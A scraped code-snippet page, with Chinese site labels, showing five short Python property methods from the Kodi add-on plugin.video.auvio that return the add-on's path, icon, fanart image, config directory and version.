项目:plugin.video.auvio    作者:rickybiscus    | 项目源码 | 文件源码
def path(self):
        """
        Addon path

        :return: path to the addon folder
        :rtype: str
        """
        return self._addon.getAddonInfo('path').decode('utf-8')
项目:plugin.video.auvio    作者:rickybiscus    | 项目源码 | 文件源码
def icon(self):
        """
        Addon icon

        :return: path to the addon icon image
        :rtype: str
        """
        icon = os.path.join(self.path, 'icon.png')
        if os.path.exists(icon):
            return icon
        else:
            return ''
项目:plugin.video.auvio    作者:rickybiscus    | 项目源码 | 文件源码
def fanart(self):
        """
        Addon fanart

        :return: path to the addon fanart image
        :rtype: str
        """
        fanart = os.path.join(self.path, 'fanart.jpg')
        if os.path.exists(fanart):
            return fanart
        else:
            return ''
项目:plugin.video.auvio    作者:rickybiscus    | 项目源码 | 文件源码
def config_dir(self):
        """
        Addon config dir

        :return: path to the addon config dir
        :rtype: str
        """
        return self._configdir
项目:plugin.video.auvio    作者:rickybiscus    | 项目源码 | 文件源码
def version(self):
        """
        Addon version

        :return: addon version
        :rtype: str
        """
        return self._addon.getAddonInfo('version')